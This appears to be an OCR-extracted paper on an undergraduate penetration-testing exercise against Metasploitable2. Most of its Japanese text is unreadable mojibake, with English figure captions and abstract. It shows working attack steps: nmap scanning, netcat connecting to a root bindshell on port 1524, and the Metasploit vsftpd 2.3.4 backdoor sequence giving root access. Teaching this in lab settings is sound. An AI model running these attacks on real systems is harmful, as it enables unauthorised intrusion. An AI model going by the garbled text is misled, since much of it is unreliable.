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Abstract: The aim of this study is to propose and practice an exercise to experience server intrusion using
vulnerability as a part of information security education in the specialized course of undergraduate depart-
ment, and to clarify the educational effect. In the exercise, students perform server attack experiments in
virtual environments on their laptops and also experience attacks on servers in their laboratory. In order to
participate in this class, students are required to learn about compliance. This kind of exercise is generally
carried out at the graduate school, however, by devising a curriculum, it is possible for undergraduates to
implement this type of exercise. Student self-assessment and confirmation test clarified that this exercise is
effective for students to acquire security knowledge and skills. Students’ comments, moreover, indicate that
compliance training is possible to have the effect of preventing students from abusing skills acquired in the
exercise.
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Table 1 “System Management II” lecture schedule.
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WEZ< Y KaliLinux 2017.3
IP: 172.16.140.139/24

WE/RTIY: Metasploitable2
IP: 172.16.140.131/24

FykT—%4:NAT = .
ffE55 R ¥+ FNessus T2 AEFIET—2
'?; Oracle VM VirtualBox on
Windows/—kPC
g IP: 192.168.3.xxx/24

B 1 SERH RS
Fig. 1 Virtual laboratory for penetration testing.
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nmap -v -A 172.16.140.0/24

Nmap scan report for 172 U g

Nmap scan report for 172. .1¢B.525_TEB;I7aﬁﬁﬁ

Nmap scan report for 172.16.140. [host down]
Nmap scan report for 172.16. = [host down]
Nmap scan report for 172.16. z [host down]
Nmap scan report for 172.16.140. [host down]

BELTLS
RADIER

Nmap scan report for 172.16. e [host down]
Nmap scan report for 172.16.140.252 [host down]
Nmap scan report for 172.16.140.253 [host down]
Nmap scan report for 172.16.140.254 [host down]
Nmap scan report for 172.16.140.255 [host down]
Initiating Parallel DNS resolution of 1 host. at 06:55
Completed Parallel DNS resolution of 1 host. at 06:55, 0.03s elapsed
Initiating SYN Stealth Scan at 06:55

Scanning 172.16.140.131 [1880 ports]

Discovered open port 111/tcp on 172.16.140.131
Discovered open port 22/tcp on 172.16.140.131
Discovered open port 86/tcp on 172.16.140.131
Discovered open port 23/tcp on 172.16.140.131
Discovered open port 139/tcp on 172.16.140.131
Discovered open port 53/tcp on 172.16.148.131
Discovered open port 25/tcp on 172.16.146.131
Discovered open port 5900/tcp on 172.16.148.131
Discovered open port 21/tcp on 172.16.146,131
Discovered open port 2049/tcp on 172.16.140.131
Discovered open port 6667/tcp on 172.16.1408.131
Discovered open port 513/tcp on 172.16.140.131
Discovered open port 5432/tcp on 172.16.140.131
Completed SYN Stealth Scan at 06:55, 0.25s elapsed (1000 total ports)
Initiating Service scan at 06:55

Scanning 23 services on 172.16.140.131

Completed Service scan at 06:58, 156.10s elapsed (23 services on 1 host)
Initiating 0S detection (try #1) against 172.16.140.131

BELITLYS
R—rD#REE

NSE: Script scanning 172.16.140.131.
Initiating NSE at 06:58

NSE: [ftp-bounce] PORT response: 500 Illegal PORT command.
Completed NSE at 06:58, 10.85s elapsed
Initiating NSE at 06:58

Completed NSE at 06:58, 1.06s elapsed

Nmap scan report for 172.16.148.131 \
Host is up (0.00026s latency). ﬁ‘lﬁ]“L'CL_é
Not shown: 977 closed ports '|j'—|: ngﬂi

PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
| _ftp-anon: Anonymous FTP login allowed (FTP code 230
| ftp-syst:

| STAT:

2 F—PAF v OFELTH
Fig. 2 Port scanning using Nmap.

BB U THET A, BITIE, 192.168.3.xxx/24 & LTW
5. F7z, ROPECHMAT 2720, BB~ Y VIS
PEAF v+ Nessus [14] &4 Y A P —)b - BET HIEELFE
i %.

3.4 FEERIETONRZ AL—Y3 27X b

2 a~HIE, 1 a~HITHESE L 2EZBRAREERERICB W
TRAML—=YaryFRAM2ERTS.

F9, WERY Y U POHER Y VI LTR-
A% v » (Nmap[15]) ZFEITL, WESFROHEE, FW
TWAKR—FRBEHL TV EY—EADOREZITH. W
B~ Y Y THh S Kali Linux O¥ K LT “nmap -v -A
172.16.140.0/24” # FEATL72LAOWEO—H %K 2 12
NGRS

BWENRTHELY VT =2 ETHBEHLTWAKRA N &
LT 172.16.140.131 23FEH &M, Hivy THREHR A b THw
TWhAR— & LT11L, 22,80, --- &XRA I S Tw
B, BB, BlIL TV AT —E2ADOFAMERE LT21 &
R— T vsftpd 234 2%l L TWaH 2 EPRTENS.

KIZ Nessus & FIH L CTHENG RO HERAE Fit 3
%. Kali Linux (24 ~ A b =)V L7z Nessus Z &g L, 75
74 C https://127.0.0.1:8834 % 8%, “New Scan”, “Basic
Network Scan” % 43 5. Targets ICHEHR AKX b D
IP7RLAELT, 2ZTREDE-FAF vV TRRE
172 Metasploitable2 ® IP 7 F L A CT& % 172.16.140.131
REL, MAEZMT 4. Metasploitable2 x5 & LT
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Hosts |1 Vulnerabilities 100 Remediations 2 History 1
Filter =
Sev Name Family

Debian OpenSSH/OpenSSL Package R...

[N rexecd Service Detection

Gain a shell remotely
Service detection

Rogue Shell Backdoor Detection Scan Details

Unix Operating System Unsupport Nama: 8rd_scan
Status: Completed

VNG Server password’ Password Policy: Basic Network Scan
Scanner: Local Scanner
Start: Today at 5:02 AM

rlogin Service Detection
End: Today at 5:09 AM

m Unsupported Web Server Detectiol Elapsed: 7 minutes
Apache HTTP Server httpOnly Cot| vulnerabilities
’/ ® Critical
& High
Medium
Low

' & Info

*

3 Metasploitable2 Zx§4t & L 72 Nessus & FlI L 72 lfg g5 At
DFELTH
Fig. 3 Vulnerability assessment on Metasploitable2 using Nes-

sus.

Rogue Shell Backdoor Detection
Description

A shell is listening on the remote port without any authentication being required. An attacker may us
port and sending commands directly

Solution
Verify if the remote host has been compromised, and reinstall the system if necessary.

Output

Port » Hosts

1524 / tcp / wild_shel 172.16.140.131

root@kali:~# nc 172.16.140.131 1524
root@metasploitable:/# id

uid=0(root) gid=0(root) groups=0(root)
root@metasploitable:/# ||

4 Rogue Shell Backdoor Detection OJifi55 47 H B %
Fig. 4 Details of “Rogue Shell Backdoor Detection” and back-

door command execution with Netcat.

Nessus Z FIH L CHeggmas 2 47 L 72 Ropl 2 & 3
N

100 Ml DREgsPEAFE R S 4L, Critical 2*5 Info £ TL X
VT ENTERENTWS, Critical D L2226 3 2HIC
“Rogue Shell Backdoor Detection” 2SfRET & 5729, 4
HlEsstE e FIH L7 2 A B . Y E%NEg5 1% o R 1
&, UHMEIGHRIHBEZR 4 IR .
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“Rogue Shell Backdoor Detection” OFEAMNE TR 12 & 5 &,
172.16.140.131 @ 1524 FHK— MICREREZR L CHEEE I <~
FEREETELZEPTmANNL., £22C, *v T —7
=747 4D1DTH5 Neteat [16] * FIH L T “nc
172.16.140.131 1524” £ %479 % Z & T root HER D%
WASET T 5., DLESY—NEADO—HITH 5.

OB E LT, vsftpd 2.3.4 1205y 7 F70MEiAE R
TWwb7d, ZoGEEEFIA LY - "RALITRETH
%. I TiEY =& LT Metasploit framework [17] % 7]
M3 4. Kali Linux ¥k T “msfconsole” #FLT9 5
& Metasploit framework O 2 >V — )V ASREI§ 2. I~
V= NVTANTHax Y FOFILFETHREER 5 TR,

“search vsftpd” T vsftpd (2B ¢ % M g5 1k & # R
L, “use exploit/unix/ftp/vsfpd 234 backdoor” T4
HNEEIERI % f8%E, “set rhost 172.16.140.131" TIL
B e e L, “run” CHELZFETT 5. vsftpd 2.3.4 D
MessERIABTEIC L - C, ELBLHRTELLZNETHH
ER AR X N TH A Metasploitable2 L TEED I~ ¥ RS
FATWEREIZ e 5 T DH 2 EDNERTE 5. DB SEE:

search vsftpd
use exploit/unix/ftp/vsftpd 234 backdoor
set rhosit 12t S s s
run
nsf > search vsftpd
[!] Module database cache not built yet, using slow search

Matching Modules

vsftpd 2.3.4D
fasstExFI A

Name Disclosure Date

exploit/unix/ftp/vsftpd 234 backdoor 2011-87-83

msf > use exploit/unix/ftp/vsftpd 234 backdoor
msf exploit{vsftpd 234 backdoor) > show options

Module options (exploit/unix/ftp/vsftpd 234 backdoor):

Name Current Setting Required Description

RHOST yes
RPORT 21 yes

The target address
The target port (TCP)

msf exploit(vsTtpd 234 backdoor) > set rhost 172.16.140.131
rhost => 172.16.140.131
msf exploit(vsftpd_234_backdoor) > show options

HEHRD
IPPRLRETE

The target address
The target port (TCP)

Module options (exploit/unix/ftp/vsftpd_234_backdo

Name Current Setting Required Description

RHOST 172.16.140.131 yes
RPORT 21 yes

Exploit target:

Id Name
c:i- Al‘lil‘)mati(‘ ﬂfﬁﬁ?g'l‘iﬂ)ﬁlﬂga)
E1T

msf exploit(vsftpd_234_backdoor) > run

[*] 172.16.140.131:21 - Banner: 220 (vsFTPd 2.3.4)

[*] 172.16.140.131:21 - USER: 331 Please specify the password.

[+] 172.16.140.131:21 - Backdoor service has been spawned, handling...

[+] 172.16.140.131:21 - UID: uid=0(root) gid=0(root)

[*] Found shell.

[*] Command shell session 1 opened (172.16.140.139:41439 -> 172.16.140.131

id

uid=08(root) gid=0(root)
hostname
metasploitable

rooti& R
ERNET

B 5 vsftpd 2.3.4 OReEEEFIH L 72 B D FEATH]
Fig. 5 VSFTPD 2.3.4 backdoor command execution with

Metasploit framework.
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BRBE128B1F 5 Metasploitable2 % &5 & L 7z B g5 ) I %
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ORI EREET 5.
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LIS N A MREMA D 5. BRI TH b KF
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LTV 3. ) LmasTr, AN — Lo/
FEHICOWTHEY, Hii2ERA LA, BRHLES
CED L) BN HLNFESIEREHRTFLI L E L.
BESLIFEALEDRFIZBOTAFEEICRAY hT—2
FRATA YT AR MGRHE L FERHL b bbb,
EHXOPERFIZBNTH AFRICA Y b7 — 7 FHAA
FOADZHEERELHEELTBY, A —F%v MIBITA
BRRATHEDPED L) BRMHEEZBEE ) bhbvolzl bR
THt ¥ 2 7 1 BEOES L JUREFHIOWTEEH LT
W5 18], LA L, H— V2 A &) FERR % i
12725 TlE, BHETOBE#RPL VM KRDOND., £
CTHOOTERIGHE - 3 7547 ¥ ATDWTHEE
TAHEE R
KEEOFHETIE, JEE LT, HOPEHRL TR W
=N L TRARKE LT 72855, HARDEHTIE
ED L) BRI DN DS PFTARTIHET S L9 KDz, £
DU, KPR FAZ WS RIAT ) 1WA A 5 > A [18] THIH
FACHWTWAE AT A4 FERZRMEL, LEIJEE TSR
Th LR T, FHEF ) T4 HEOEREOF
BIZET 5720, RBEBOEROI-OOHEHRYLF 1) 7 1
YA 2FKALL. B ShHEo—zH 6 12
RY. AIET 7 b AR Lk & A IESR S BRI RS E S O
FRICEUT B EHESNTVE, X512, KEFENER
FIZEHD ) 2, RIT L L9 KD,
B, KEHOZHELIPEDLOOFFETHY, HA

HOBFEBEL TWARNES—E—IZ_R b= a Y &FTT 5 & ERT D DIRE

T 7 AEOE T EOEWNIEO T T U & AGIERE A A 5 R BRI B KGR
(IR %30 U CYi% T 7 & AHIEEERE I L 28 ERHORIR 2N 5 Z LN TE 51
GRS TH Db OEFRL ) UTHER 2 AT LU CYRREE T3 b & (Efh S |
ZDOHIBRE TV D REEFRIT % LIS D IRABIC S 5174 CY%T 7 & AKIEEERE 2 (1
L7127 7 AEEERT 5 b ORUSET 7 & A EMHEOKFELHTT 5 b0ER<,
WHAZBWTHL,) BROFE =5 ATAL, RET7 7 EATAZ L TIRLRV, B
SO\ JHEFE RTINSO BN ARBBAR2 0O, AOBLHAKICEIT5ETO
T 2 BIIT, WIS 2 EREGEERE O OTRER A ER L. SR L 72 F 1,
SAELLF O T EATT L F OS5,

— ADPELHAEEAER T DI L TEORRICH 5 REEfEE S8, Iz
MK T 2B EE S/ L RERIERET % 5 2 5 BT

6 U BHIRICHT BRI X B MES] (—HE)
Fig. 6 Laws in Japan related to penetration testing reported

by a student.
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Fig. 7 Real laboratory for conducting penetration testing on

real servers.
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Table 2 Self-assessment questions.
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Fig. 8 An example question about server configuration.
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Fig. 9 An example question about cybersecurity.
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Fig. 10 Comparison between students’ pre and post self-
assessment about server configuration and cybersecu-

rity.
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Table 3 Summary of pre-test and post-test results (server con-

figuration and cybersecurity, 16-point scale).
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Table 4 Summary of pre-test and post-test results (cybersecu-

rity, 8-point scale).
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